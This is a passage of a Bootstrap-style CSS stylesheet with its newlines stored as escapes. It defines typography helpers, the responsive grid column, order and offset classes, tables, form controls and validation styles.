inline-block;\n}\n\n.list-inline-item:not(:last-child) {\n  margin-right: 0.5rem;\n}\n\n.initialism {\n  font-size: 90%;\n  text-transform: uppercase;\n}\n\n.blockquote {\n  margin-bottom: 1rem;\n  font-size: 1.25rem;\n}\n\n.blockquote-footer {\n  display: block;\n  font-size: 80%;\n  color: #6c757d;\n}\n\n.blockquote-footer::before {\n  content: \"\\2014 \\00A0\";\n}\n\n.img-fluid {\n  max-width: 100%;\n  height: auto;\n}\n\n.img-thumbnail {\n  padding: 0.25rem;\n  background-color: #fff;\n  border: 1px solid #dee2e6;\n  border-radius: 0.25rem;\n  max-width: 100%;\n  height: auto;\n}\n\n.figure {\n  display: inline-block;\n}\n\n.figure-img {\n  margin-bottom: 0.5rem;\n  line-height: 1;\n}\n\n.figure-caption {\n  font-size: 90%;\n  color: #6c757d;\n}\n\ncode,\nkbd,\npre,\nsamp {\n  font-family: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", monospace;\n}\n\ncode {\n  font-size: 87.5%;\n  color: #e83e8c;\n  word-break: break-word;\n}\n\na > code {\n  color: inherit;\n}\n\nkbd {\n  padding: 0.2rem 0.4rem;\n  font-size: 87.5%;\n  color: #fff;\n  background-color: #212529;\n  border-radius: 0.2rem;\n}\n\nkbd kbd {\n  padding: 0;\n  font-size: 100%;\n  font-weight: 700;\n}\n\npre {\n  display: block;\n  font-size: 87.5%;\n  color: #212529;\n}\n\npre code {\n  font-size: inherit;\n  color: inherit;\n  word-break: normal;\n}\n\n.pre-scrollable {\n  max-height: 340px;\n  overflow-y: scroll;\n}\n\n.container {\n  width: 100%;\n  padding-right: 15px;\n  padding-left: 15px;\n  margin-right: auto;\n  margin-left: auto;\n}\n\n@media (min-width: 576px) {\n  .container {\n    max-width: 540px;\n  }\n}\n\n@media (min-width: 768px) {\n  .container {\n    max-width: 720px;\n  }\n}\n\n@media (min-width: 992px) {\n  .container {\n    max-width: 960px;\n  }\n}\n\n@media (min-width: 1200px) {\n  .container {\n    max-width: 1140px;\n  }\n}\n\n.container-fluid {\n  width: 100%;\n  padding-right: 15px;\n  padding-left: 15px;\n  margin-right: auto;\n  margin-left: auto;\n}\n\n.row {\n  display: flex;\n  flex-wrap: wrap;\n  margin-right: -15px;\n  margin-left: -15px;\n}\n\n.no-gutters {\n  margin-right: 0;\n  margin-left: 0;\n}\n\n.no-gutters > .col,\n.no-gutters > [class*=\"col-\"] {\n  padding-right: 0;\n  padding-left: 0;\n}\n\n.col-1, .col-2, .col-3, .col-4, .col-5, .col-6, .col-7, .col-8, .col-9, .col-10, .col-11, .col-12, .col,\n.col-auto, .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12, .col-sm,\n.col-sm-auto, .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12, .col-md,\n.col-md-auto, .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12, .col-lg,\n.col-lg-auto, .col-xl-1, .col-xl-2, .col-xl-3, .col-xl-4, .col-xl-5, .col-xl-6, .col-xl-7, .col-xl-8, .col-xl-9, .col-xl-10, .col-xl-11, .col-xl-12, .col-xl,\n.col-xl-auto {\n  position: relative;\n  width: 100%;\n  min-height: 1px;\n  padding-right: 15px;\n  padding-left: 15px;\n}\n\n.col {\n  flex-basis: 0;\n  flex-grow: 1;\n  max-width: 100%;\n}\n\n.col-auto {\n  flex: 0 0 auto;\n  width: auto;\n  max-width: none;\n}\n\n.col-1 {\n  flex: 0 0 8.333333%;\n  max-width: 8.333333%;\n}\n\n.col-2 {\n  flex: 0 0 16.666667%;\n  max-width: 16.666667%;\n}\n\n.col-3 {\n  flex: 0 0 25%;\n  max-width: 25%;\n}\n\n.col-4 {\n  flex: 0 0 33.333333%;\n  max-width: 33.333333%;\n}\n\n.col-5 {\n  flex: 0 0 41.666667%;\n  max-width: 41.666667%;\n}\n\n.col-6 {\n  flex: 0 0 50%;\n  max-width: 50%;\n}\n\n.col-7 {\n  flex: 0 0 58.333333%;\n  max-width: 58.333333%;\n}\n\n.col-8 {\n  flex: 0 0 66.666667%;\n  max-width: 66.666667%;\n}\n\n.col-9 {\n  flex: 0 0 75%;\n  max-width: 75%;\n}\n\n.col-10 {\n  flex: 0 0 83.333333%;\n  max-width: 83.333333%;\n}\n\n.col-11 {\n  flex: 0 0 91.666667%;\n  max-width: 91.666667%;\n}\n\n.col-12 {\n  flex: 0 0 100%;\n  max-width: 100%;\n}\n\n.order-first {\n  order: -1;\n}\n\n.order-last {\n  order: 13;\n}\n\n.order-0 {\n  order: 0;\n}\n\n.order-1 {\n  order: 1;\n}\n\n.order-2 {\n  order: 2;\n}\n\n.order-3 {\n  order: 3;\n}\n\n.order-4 {\n  order: 4;\n}\n\n.order-5 {\n  order: 5;\n}\n\n.order-6 {\n  order: 6;\n}\n\n.order-7 {\n  order: 7;\n}\n\n.order-8 {\n  order: 8;\n}\n\n.order-9 {\n  order: 9;\n}\n\n.order-10 {\n  order: 10;\n}\n\n.order-11 {\n  order: 11;\n}\n\n.order-12 {\n  order: 12;\n}\n\n.offset-1 {\n  margin-left: 8.333333%;\n}\n\n.offset-2 {\n  margin-left: 16.666667%;\n}\n\n.offset-3 {\n  margin-left: 25%;\n}\n\n.offset-4 {\n  margin-left: 33.333333%;\n}\n\n.offset-5 {\n  margin-left: 41.666667%;\n}\n\n.offset-6 {\n  margin-left: 50%;\n}\n\n.offset-7 {\n  margin-left: 58.333333%;\n}\n\n.offset-8 {\n  margin-left: 66.666667%;\n}\n\n.offset-9 {\n  margin-left: 75%;\n}\n\n.offset-10 {\n  margin-left: 83.333333%;\n}\n\n.offset-11 {\n  margin-left: 91.666667%;\n}\n\n@media (min-width: 576px) {\n  .col-sm {\n    flex-basis: 0;\n    flex-grow: 1;\n    max-width: 100%;\n  }\n  .col-sm-auto {\n    flex: 0 0 auto;\n    width: auto;\n    max-width: none;\n  }\n  .col-sm-1 {\n    flex: 0 0 8.333333%;\n    max-width: 8.333333%;\n  }\n  .col-sm-2 {\n    flex: 0 0 16.666667%;\n    max-width: 16.666667%;\n  }\n  .col-sm-3 {\n    flex: 0 0 25%;\n    max-width: 25%;\n  }\n  .col-sm-4 {\n    flex: 0 0 33.333333%;\n    max-width: 33.333333%;\n  }\n  .col-sm-5 {\n    flex: 0 0 41.666667%;\n    max-width: 41.666667%;\n  }\n  .col-sm-6 {\n    flex: 0 0 50%;\n    max-width: 50%;\n  }\n  .col-sm-7 {\n    flex: 0 0 58.333333%;\n    max-width: 58.333333%;\n  }\n  .col-sm-8 {\n    flex: 0 0 66.666667%;\n    max-width: 66.666667%;\n  }\n  .col-sm-9 {\n    flex: 0 0 75%;\n    max-width: 75%;\n  }\n  .col-sm-10 {\n    flex: 0 0 83.333333%;\n    max-width: 83.333333%;\n  }\n  .col-sm-11 {\n    flex: 0 0 91.666667%;\n    max-width: 91.666667%;\n  }\n  .col-sm-12 {\n    flex: 0 0 100%;\n    max-width: 100%;\n  }\n  .order-sm-first {\n    order: -1;\n  }\n  .order-sm-last {\n    order: 13;\n  }\n  .order-sm-0 {\n    order: 0;\n  }\n  .order-sm-1 {\n    order: 1;\n  }\n  .order-sm-2 {\n    order: 2;\n  }\n  .order-sm-3 {\n    order: 3;\n  }\n  .order-sm-4 {\n    order: 4;\n  }\n  .order-sm-5 {\n    order: 5;\n  }\n  .order-sm-6 {\n    order: 6;\n  }\n  .order-sm-7 {\n    order: 7;\n  }\n  .order-sm-8 {\n    order: 8;\n  }\n  .order-sm-9 {\n    order: 9;\n  }\n  .order-sm-10 {\n    order: 10;\n  }\n  .order-sm-11 {\n    order: 11;\n  }\n  .order-sm-12 {\n    order: 12;\n  }\n  .offset-sm-0 {\n    margin-left: 0;\n  }\n  .offset-sm-1 {\n    margin-left: 8.333333%;\n  }\n  .offset-sm-2 {\n    margin-left: 16.666667%;\n  }\n  .offset-sm-3 {\n    margin-left: 25%;\n  }\n  .offset-sm-4 {\n    margin-left: 33.333333%;\n  }\n  .offset-sm-5 {\n    margin-left: 41.666667%;\n  }\n  .offset-sm-6 {\n    margin-left: 50%;\n  }\n  .offset-sm-7 {\n    margin-left: 58.333333%;\n  }\n  .offset-sm-8 {\n    margin-left: 66.666667%;\n  }\n  .offset-sm-9 {\n    margin-left: 75%;\n  }\n  .offset-sm-10 {\n    margin-left: 83.333333%;\n  }\n  .offset-sm-11 {\n    margin-left: 91.666667%;\n  }\n}\n\n@media (min-width: 768px) {\n  .col-md {\n    flex-basis: 0;\n    flex-grow: 1;\n    max-width: 100%;\n  }\n  .col-md-auto {\n    flex: 0 0 auto;\n    width: auto;\n    max-width: none;\n  }\n  .col-md-1 {\n    flex: 0 0 8.333333%;\n    max-width: 8.333333%;\n  }\n  .col-md-2 {\n    flex: 0 0 16.666667%;\n    max-width: 16.666667%;\n  }\n  .col-md-3 {\n    flex: 0 0 25%;\n    max-width: 25%;\n  }\n  .col-md-4 {\n    flex: 0 0 33.333333%;\n    max-width: 33.333333%;\n  }\n  .col-md-5 {\n    flex: 0 0 41.666667%;\n    max-width: 41.666667%;\n  }\n  .col-md-6 {\n    flex: 0 0 50%;\n    max-width: 50%;\n  }\n  .col-md-7 {\n    flex: 0 0 58.333333%;\n    max-width: 58.333333%;\n  }\n  .col-md-8 {\n    flex: 0 0 66.666667%;\n    max-width: 66.666667%;\n  }\n  .col-md-9 {\n    flex: 0 0 75%;\n    max-width: 75%;\n  }\n  .col-md-10 {\n    flex: 0 0 83.333333%;\n    max-width: 83.333333%;\n  }\n  .col-md-11 {\n    flex: 0 0 91.666667%;\n    max-width: 91.666667%;\n  }\n  .col-md-12 {\n    flex: 0 0 100%;\n    max-width: 100%;\n  }\n  .order-md-first {\n    order: -1;\n  }\n  .order-md-last {\n    order: 13;\n  }\n  .order-md-0 {\n    order: 0;\n  }\n  .order-md-1 {\n    order: 1;\n  }\n  .order-md-2 {\n    order: 2;\n  }\n  .order-md-3 {\n    order: 3;\n  }\n  .order-md-4 {\n    order: 4;\n  }\n  .order-md-5 {\n    order: 5;\n  }\n  .order-md-6 {\n    order: 6;\n  }\n  .order-md-7 {\n    order: 7;\n  }\n  .order-md-8 {\n    order: 8;\n  }\n  .order-md-9 {\n    order: 9;\n  }\n  .order-md-10 {\n    order: 10;\n  }\n  .order-md-11 {\n    order: 11;\n  }\n  .order-md-12 {\n    order: 12;\n  }\n  .offset-md-0 {\n    margin-left: 0;\n  }\n  .offset-md-1 {\n    margin-left: 8.333333%;\n  }\n  .offset-md-2 {\n    margin-left: 16.666667%;\n  }\n  .offset-md-3 {\n    margin-left: 25%;\n  }\n  .offset-md-4 {\n    margin-left: 33.333333%;\n  }\n  .offset-md-5 {\n    margin-left: 41.666667%;\n  }\n  .offset-md-6 {\n    margin-left: 50%;\n  }\n  .offset-md-7 {\n    margin-left: 58.333333%;\n  }\n  .offset-md-8 {\n    margin-left: 66.666667%;\n  }\n  .offset-md-9 {\n    margin-left: 75%;\n  }\n  .offset-md-10 {\n    margin-left: 83.333333%;\n  }\n  .offset-md-11 {\n    margin-left: 91.666667%;\n  }\n}\n\n@media (min-width: 992px) {\n  .col-lg {\n    flex-basis: 0;\n    flex-grow: 1;\n    max-width: 100%;\n  }\n  .col-lg-auto {\n    flex: 0 0 auto;\n    width: auto;\n    max-width: none;\n  }\n  .col-lg-1 {\n    flex: 0 0 8.333333%;\n    max-width: 8.333333%;\n  }\n  .col-lg-2 {\n    flex: 0 0 16.666667%;\n    max-width: 16.666667%;\n  }\n  .col-lg-3 {\n    flex: 0 0 25%;\n    max-width: 25%;\n  }\n  .col-lg-4 {\n    flex: 0 0 33.333333%;\n    max-width: 33.333333%;\n  }\n  .col-lg-5 {\n    flex: 0 0 41.666667%;\n    max-width: 41.666667%;\n  }\n  .col-lg-6 {\n    flex: 0 0 50%;\n    max-width: 50%;\n  }\n  .col-lg-7 {\n    flex: 0 0 58.333333%;\n    max-width: 58.333333%;\n  }\n  .col-lg-8 {\n    flex: 0 0 66.666667%;\n    max-width: 66.666667%;\n  }\n  .col-lg-9 {\n    flex: 0 0 75%;\n    max-width: 75%;\n  }\n  .col-lg-10 {\n    flex: 0 0 83.333333%;\n    max-width: 83.333333%;\n  }\n  .col-lg-11 {\n    flex: 0 0 91.666667%;\n    max-width: 91.666667%;\n  }\n  .col-lg-12 {\n    flex: 0 0 100%;\n    max-width: 100%;\n  }\n  .order-lg-first {\n    order: -1;\n  }\n  .order-lg-last {\n    order: 13;\n  }\n  .order-lg-0 {\n    order: 0;\n  }\n  .order-lg-1 {\n    order: 1;\n  }\n  .order-lg-2 {\n    order: 2;\n  }\n  .order-lg-3 {\n    order: 3;\n  }\n  .order-lg-4 {\n    order: 4;\n  }\n  .order-lg-5 {\n    order: 5;\n  }\n  .order-lg-6 {\n    order: 6;\n  }\n  .order-lg-7 {\n    order: 7;\n  }\n  .order-lg-8 {\n    order: 8;\n  }\n  .order-lg-9 {\n    order: 9;\n  }\n  .order-lg-10 {\n    order: 10;\n  }\n  .order-lg-11 {\n    order: 11;\n  }\n  .order-lg-12 {\n    order: 12;\n  }\n  .offset-lg-0 {\n    margin-left: 0;\n  }\n  .offset-lg-1 {\n    margin-left: 8.333333%;\n  }\n  .offset-lg-2 {\n    margin-left: 16.666667%;\n  }\n  .offset-lg-3 {\n    margin-left: 25%;\n  }\n  .offset-lg-4 {\n    margin-left: 33.333333%;\n  }\n  .offset-lg-5 {\n    margin-left: 41.666667%;\n  }\n  .offset-lg-6 {\n    margin-left: 50%;\n  }\n  .offset-lg-7 {\n    margin-left: 58.333333%;\n  }\n  .offset-lg-8 {\n    margin-left: 66.666667%;\n  }\n  .offset-lg-9 {\n    margin-left: 75%;\n  }\n  .offset-lg-10 {\n    margin-left: 83.333333%;\n  }\n  .offset-lg-11 {\n    margin-left: 91.666667%;\n  }\n}\n\n@media (min-width: 1200px) {\n  .col-xl {\n    flex-basis: 0;\n    flex-grow: 1;\n    max-width: 100%;\n  }\n  .col-xl-auto {\n    flex: 0 0 auto;\n    width: auto;\n    max-width: none;\n  }\n  .col-xl-1 {\n    flex: 0 0 8.333333%;\n    max-width: 8.333333%;\n  }\n  .col-xl-2 {\n    flex: 0 0 16.666667%;\n    max-width: 16.666667%;\n  }\n  .col-xl-3 {\n    flex: 0 0 25%;\n    max-width: 25%;\n  }\n  .col-xl-4 {\n    flex: 0 0 33.333333%;\n    max-width: 33.333333%;\n  }\n  .col-xl-5 {\n    flex: 0 0 41.666667%;\n    max-width: 41.666667%;\n  }\n  .col-xl-6 {\n    flex: 0 0 50%;\n    max-width: 50%;\n  }\n  .col-xl-7 {\n    flex: 0 0 58.333333%;\n    max-width: 58.333333%;\n  }\n  .col-xl-8 {\n    flex: 0 0 66.666667%;\n    max-width: 66.666667%;\n  }\n  .col-xl-9 {\n    flex: 0 0 75%;\n    max-width: 75%;\n  }\n  .col-xl-10 {\n    flex: 0 0 83.333333%;\n    max-width: 83.333333%;\n  }\n  .col-xl-11 {\n    flex: 0 0 91.666667%;\n    max-width: 91.666667%;\n  }\n  .col-xl-12 {\n    flex: 0 0 100%;\n    max-width: 100%;\n  }\n  .order-xl-first {\n    order: -1;\n  }\n  .order-xl-last {\n    order: 13;\n  }\n  .order-xl-0 {\n    order: 0;\n  }\n  .order-xl-1 {\n    order: 1;\n  }\n  .order-xl-2 {\n    order: 2;\n  }\n  .order-xl-3 {\n    order: 3;\n  }\n  .order-xl-4 {\n    order: 4;\n  }\n  .order-xl-5 {\n    order: 5;\n  }\n  .order-xl-6 {\n    order: 6;\n  }\n  .order-xl-7 {\n    order: 7;\n  }\n  .order-xl-8 {\n    order: 8;\n  }\n  .order-xl-9 {\n    order: 9;\n  }\n  .order-xl-10 {\n    order: 10;\n  }\n  .order-xl-11 {\n    order: 11;\n  }\n  .order-xl-12 {\n    order: 12;\n  }\n  .offset-xl-0 {\n    margin-left: 0;\n  }\n  .offset-xl-1 {\n    margin-left: 8.333333%;\n  }\n  .offset-xl-2 {\n    margin-left: 16.666667%;\n  }\n  .offset-xl-3 {\n    margin-left: 25%;\n  }\n  .offset-xl-4 {\n    margin-left: 33.333333%;\n  }\n  .offset-xl-5 {\n    margin-left: 41.666667%;\n  }\n  .offset-xl-6 {\n    margin-left: 50%;\n  }\n  .offset-xl-7 {\n    margin-left: 58.333333%;\n  }\n  .offset-xl-8 {\n    margin-left: 66.666667%;\n  }\n  .offset-xl-9 {\n    margin-left: 75%;\n  }\n  .offset-xl-10 {\n    margin-left: 83.333333%;\n  }\n  .offset-xl-11 {\n    margin-left: 91.666667%;\n  }\n}\n\n.table {\n  width: 100%;\n  max-width: 100%;\n  margin-bottom: 1rem;\n  background-color: transparent;\n}\n\n.table th,\n.table td {\n  padding: 0.75rem;\n  vertical-align: top;\n  border-top: 1px solid #dee2e6;\n}\n\n.table thead th {\n  vertical-align: bottom;\n  border-bottom: 2px solid #dee2e6;\n}\n\n.table tbody + tbody {\n  border-top: 2px solid #dee2e6;\n}\n\n.table .table {\n  background-color: #fff;\n}\n\n.table-sm th,\n.table-sm td {\n  padding: 0.3rem;\n}\n\n.table-bordered {\n  border: 1px solid #dee2e6;\n}\n\n.table-bordered th,\n.table-bordered td {\n  border: 1px solid #dee2e6;\n}\n\n.table-bordered thead th,\n.table-bordered thead td {\n  border-bottom-width: 2px;\n}\n\n.table-borderless th,\n.table-borderless td,\n.table-borderless thead th,\n.table-borderless tbody + tbody {\n  border: 0;\n}\n\n.table-striped tbody tr:nth-of-type(odd) {\n  background-color: rgba(0, 0, 0, 0.05);\n}\n\n.table-hover tbody tr:hover {\n  background-color: rgba(0, 0, 0, 0.075);\n}\n\n.table-primary,\n.table-primary > th,\n.table-primary > td {\n  background-color: #b8daff;\n}\n\n.table-hover .table-primary:hover {\n  background-color: #9fcdff;\n}\n\n.table-hover .table-primary:hover > td,\n.table-hover .table-primary:hover > th {\n  background-color: #9fcdff;\n}\n\n.table-secondary,\n.table-secondary > th,\n.table-secondary > td {\n  background-color: #d6d8db;\n}\n\n.table-hover .table-secondary:hover {\n  background-color: #c8cbcf;\n}\n\n.table-hover .table-secondary:hover > td,\n.table-hover .table-secondary:hover > th {\n  background-color: #c8cbcf;\n}\n\n.table-success,\n.table-success > th,\n.table-success > td {\n  background-color: #c3e6cb;\n}\n\n.table-hover .table-success:hover {\n  background-color: #b1dfbb;\n}\n\n.table-hover .table-success:hover > td,\n.table-hover .table-success:hover > th {\n  background-color: #b1dfbb;\n}\n\n.table-info,\n.table-info > th,\n.table-info > td {\n  background-color: #bee5eb;\n}\n\n.table-hover .table-info:hover {\n  background-color: #abdde5;\n}\n\n.table-hover .table-info:hover > td,\n.table-hover .table-info:hover > th {\n  background-color: #abdde5;\n}\n\n.table-warning,\n.table-warning > th,\n.table-warning > td {\n  background-color: #ffeeba;\n}\n\n.table-hover .table-warning:hover {\n  background-color: #ffe8a1;\n}\n\n.table-hover .table-warning:hover > td,\n.table-hover .table-warning:hover > th {\n  background-color: #ffe8a1;\n}\n\n.table-danger,\n.table-danger > th,\n.table-danger > td {\n  background-color: #f5c6cb;\n}\n\n.table-hover .table-danger:hover {\n  background-color: #f1b0b7;\n}\n\n.table-hover .table-danger:hover > td,\n.table-hover .table-danger:hover > th {\n  background-color: #f1b0b7;\n}\n\n.table-light,\n.table-light > th,\n.table-light > td {\n  background-color: #fdfdfe;\n}\n\n.table-hover .table-light:hover {\n  background-color: #ececf6;\n}\n\n.table-hover .table-light:hover > td,\n.table-hover .table-light:hover > th {\n  background-color: #ececf6;\n}\n\n.table-dark,\n.table-dark > th,\n.table-dark > td {\n  background-color: #c6c8ca;\n}\n\n.table-hover .table-dark:hover {\n  background-color: #b9bbbe;\n}\n\n.table-hover .table-dark:hover > td,\n.table-hover .table-dark:hover > th {\n  background-color: #b9bbbe;\n}\n\n.table-active,\n.table-active > th,\n.table-active > td {\n  background-color: rgba(0, 0, 0, 0.075);\n}\n\n.table-hover .table-active:hover {\n  background-color: rgba(0, 0, 0, 0.075);\n}\n\n.table-hover .table-active:hover > td,\n.table-hover .table-active:hover > th {\n  background-color: rgba(0, 0, 0, 0.075);\n}\n\n.table .thead-dark th {\n  color: #fff;\n  background-color: #212529;\n  border-color: #32383e;\n}\n\n.table .thead-light th {\n  color: #495057;\n  background-color: #e9ecef;\n  border-color: #dee2e6;\n}\n\n.table-dark {\n  color: #fff;\n  background-color: #212529;\n}\n\n.table-dark th,\n.table-dark td,\n.table-dark thead th {\n  border-color: #32383e;\n}\n\n.table-dark.table-bordered {\n  border: 0;\n}\n\n.table-dark.table-striped tbody tr:nth-of-type(odd) {\n  background-color: rgba(255, 255, 255, 0.05);\n}\n\n.table-dark.table-hover tbody tr:hover {\n  background-color: rgba(255, 255, 255, 0.075);\n}\n\n@media (max-width: 575.98px) {\n  .table-responsive-sm {\n    display: block;\n    width: 100%;\n    overflow-x: auto;\n    -webkit-overflow-scrolling: touch;\n    -ms-overflow-style: -ms-autohiding-scrollbar;\n  }\n  .table-responsive-sm > .table-bordered {\n    border: 0;\n  }\n}\n\n@media (max-width: 767.98px) {\n  .table-responsive-md {\n    display: block;\n    width: 100%;\n    overflow-x: auto;\n    -webkit-overflow-scrolling: touch;\n    -ms-overflow-style: -ms-autohiding-scrollbar;\n  }\n  .table-responsive-md > .table-bordered {\n    border: 0;\n  }\n}\n\n@media (max-width: 991.98px) {\n  .table-responsive-lg {\n    display: block;\n    width: 100%;\n    overflow-x: auto;\n    -webkit-overflow-scrolling: touch;\n    -ms-overflow-style: -ms-autohiding-scrollbar;\n  }\n  .table-responsive-lg > .table-bordered {\n    border: 0;\n  }\n}\n\n@media (max-width: 1199.98px) {\n  .table-responsive-xl {\n    display: block;\n    width: 100%;\n    overflow-x: auto;\n    -webkit-overflow-scrolling: touch;\n    -ms-overflow-style: -ms-autohiding-scrollbar;\n  }\n  .table-responsive-xl > .table-bordered {\n    border: 0;\n  }\n}\n\n.table-responsive {\n  display: block;\n  width: 100%;\n  overflow-x: auto;\n  -webkit-overflow-scrolling: touch;\n  -ms-overflow-style: -ms-autohiding-scrollbar;\n}\n\n.table-responsive > .table-bordered {\n  border: 0;\n}\n\n.form-control {\n  display: block;\n  width: 100%;\n  padding: 0.375rem 0.75rem;\n  font-size: 1rem;\n  line-height: 1.5;\n  color: #495057;\n  background-color: #fff;\n  background-clip: padding-box;\n  border: 1px solid #ced4da;\n  border-radius: 0.25rem;\n  transition: border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n  .form-control {\n    transition: none;\n  }\n}\n\n.form-control::-ms-expand {\n  background-color: transparent;\n  border: 0;\n}\n\n.form-control:focus {\n  color: #495057;\n  background-color: #fff;\n  border-color: #80bdff;\n  outline: 0;\n  box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.form-control::placeholder {\n  color: #6c757d;\n  opacity: 1;\n}\n\n.form-control:disabled, .form-control[readonly] {\n  background-color: #e9ecef;\n  opacity: 1;\n}\n\nselect.form-control:not([size]):not([multiple]) {\n  height: calc(2.25rem + 2px);\n}\n\nselect.form-control:focus::-ms-value {\n  color: #495057;\n  background-color: #fff;\n}\n\n.form-control-file,\n.form-control-range {\n  display: block;\n  width: 100%;\n}\n\n.col-form-label {\n  padding-top: calc(0.375rem + 1px);\n  padding-bottom: calc(0.375rem + 1px);\n  margin-bottom: 0;\n  font-size: inherit;\n  line-height: 1.5;\n}\n\n.col-form-label-lg {\n  padding-top: calc(0.5rem + 1px);\n  padding-bottom: calc(0.5rem + 1px);\n  font-size: 1.25rem;\n  line-height: 1.5;\n}\n\n.col-form-label-sm {\n  padding-top: calc(0.25rem + 1px);\n  padding-bottom: calc(0.25rem + 1px);\n  font-size: 0.875rem;\n  line-height: 1.5;\n}\n\n.form-control-plaintext {\n  display: block;\n  width: 100%;\n  padding-top: 0.375rem;\n  padding-bottom: 0.375rem;\n  margin-bottom: 0;\n  line-height: 1.5;\n  color: #212529;\n  background-color: transparent;\n  border: solid transparent;\n  border-width: 1px 0;\n}\n\n.form-control-plaintext.form-control-sm, .input-group-sm > .form-control-plaintext.form-control,\n.input-group-sm > .input-group-prepend > .form-control-plaintext.input-group-text,\n.input-group-sm > .input-group-append > .form-control-plaintext.input-group-text,\n.input-group-sm > .input-group-prepend > .form-control-plaintext.btn,\n.input-group-sm > .input-group-append > .form-control-plaintext.btn, .form-control-plaintext.form-control-lg, .input-group-lg > .form-control-plaintext.form-control,\n.input-group-lg > .input-group-prepend > .form-control-plaintext.input-group-text,\n.input-group-lg > .input-group-append > .form-control-plaintext.input-group-text,\n.input-group-lg > .input-group-prepend > .form-control-plaintext.btn,\n.input-group-lg > .input-group-append > .form-control-plaintext.btn {\n  padding-right: 0;\n  padding-left: 0;\n}\n\n.form-control-sm, .input-group-sm > .form-control,\n.input-group-sm > .input-group-prepend > .input-group-text,\n.input-group-sm > .input-group-append > .input-group-text,\n.input-group-sm > .input-group-prepend > .btn,\n.input-group-sm > .input-group-append > .btn {\n  padding: 0.25rem 0.5rem;\n  font-size: 0.875rem;\n  line-height: 1.5;\n  border-radius: 0.2rem;\n}\n\nselect.form-control-sm:not([size]):not([multiple]), .input-group-sm > select.form-control:not([size]):not([multiple]),\n.input-group-sm > .input-group-prepend > select.input-group-text:not([size]):not([multiple]),\n.input-group-sm > .input-group-append > select.input-group-text:not([size]):not([multiple]),\n.input-group-sm > .input-group-prepend > select.btn:not([size]):not([multiple]),\n.input-group-sm > .input-group-append > select.btn:not([size]):not([multiple]) {\n  height: calc(1.8125rem + 2px);\n}\n\n.form-control-lg, .input-group-lg > .form-control,\n.input-group-lg > .input-group-prepend > .input-group-text,\n.input-group-lg > .input-group-append > .input-group-text,\n.input-group-lg > .input-group-prepend > .btn,\n.input-group-lg > .input-group-append > .btn {\n  padding: 0.5rem 1rem;\n  font-size: 1.25rem;\n  line-height: 1.5;\n  border-radius: 0.3rem;\n}\n\nselect.form-control-lg:not([size]):not([multiple]), .input-group-lg > select.form-control:not([size]):not([multiple]),\n.input-group-lg > .input-group-prepend > select.input-group-text:not([size]):not([multiple]),\n.input-group-lg > .input-group-append > select.input-group-text:not([size]):not([multiple]),\n.input-group-lg > .input-group-prepend > select.btn:not([size]):not([multiple]),\n.input-group-lg > .input-group-append > select.btn:not([size]):not([multiple]) {\n  height: calc(2.875rem + 2px);\n}\n\n.form-group {\n  margin-bottom: 1rem;\n}\n\n.form-text {\n  display: block;\n  margin-top: 0.25rem;\n}\n\n.form-row {\n  display: flex;\n  flex-wrap: wrap;\n  margin-right: -5px;\n  margin-left: -5px;\n}\n\n.form-row > .col,\n.form-row > [class*=\"col-\"] {\n  padding-right: 5px;\n  padding-left: 5px;\n}\n\n.form-check {\n  position: relative;\n  display: block;\n  padding-left: 1.25rem;\n}\n\n.form-check-input {\n  position: absolute;\n  margin-top: 0.3rem;\n  margin-left: -1.25rem;\n}\n\n.form-check-input:disabled ~ .form-check-label {\n  color: #6c757d;\n}\n\n.form-check-label {\n  margin-bottom: 0;\n}\n\n.form-check-inline {\n  display: inline-flex;\n  align-items: center;\n  padding-left: 0;\n  margin-right: 0.75rem;\n}\n\n.form-check-inline .form-check-input {\n  position: static;\n  margin-top: 0;\n  margin-right: 0.3125rem;\n  margin-left: 0;\n}\n\n.valid-feedback {\n  display: none;\n  width: 100%;\n  margin-top: 0.25rem;\n  font-size: 80%;\n  color: #28a745;\n}\n\n.valid-tooltip {\n  position: absolute;\n  top: 100%;\n  z-index: 5;\n  display: none;\n  max-width: 100%;\n  padding: .5rem;\n  margin-top: .1rem;\n  font-size: .875rem;\n  line-height: 1;\n  color: #fff;\n  background-color: rgba(40, 167, 69, 0.8);\n  border-radius: .2rem;\n}\n\n.was-validated .form-control:valid, .form-control.is-valid, .was-validated\n.custom-select:valid,\n.custom-select.is-valid {\n  border-color: #28a745;\n}\n\n.was-validated .form-control:valid:focus, .form-control.is-valid:focus, .was-validated\n.custom-select:valid:focus,\n.custom-select.is-valid:focus {\n  border-color: #28a745;\n  box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.25);\n}\n\n.was-validated .form-control:valid ~ .valid-feedback,\n.was-validated .form-control:valid ~ .valid-tooltip, .form-control.is-valid ~ .valid-feedback,\n.form-control.is-valid ~ .valid-tooltip, .was-validated\n.custom-select:valid ~ .valid-feedback,\n.was-validated\n.custom-select:valid ~ .valid-tooltip,\n.custom-select.is-valid ~ .valid-feedback,\n.custom-select.is-valid ~ .valid-tooltip {\n  display: block;\n}\n\n.was-validated .form-check-input:valid ~ .form-check-label, .form-check-input.is-valid ~ .form-check-label {\n  color: #28a745;\n}\n\n.was-validated .form-check-input:valid ~ .valid-feedback,\n.was-validated .form-check-input:valid ~ .valid-tooltip, .form-check-input.is-valid ~ .valid-feedback,\n.form-check-input.is-valid ~ .valid-tooltip {\n  display: block;\n}\n\n.was-validated .custom-control-input:valid ~ .custom-control-label, .custom-control-input.is-valid ~ .custom-control-label {\n  color: #28a745;\n}\n\n.was-validated .custom-control-input:valid ~ .custom-control-label::before, .custom-control-input.is-valid ~ .custom-control-label::before {\n  background-color: #71dd8a;\n}\n\n.was-validated .custom-control-input:valid ~ .valid-feedback,\n.was-validated .custom-control-input:valid ~ .valid-tooltip, .custom-control-input.is-valid ~ .valid-feedback,\n.custom-control-input.is-valid ~ .valid-tooltip {\n  display: 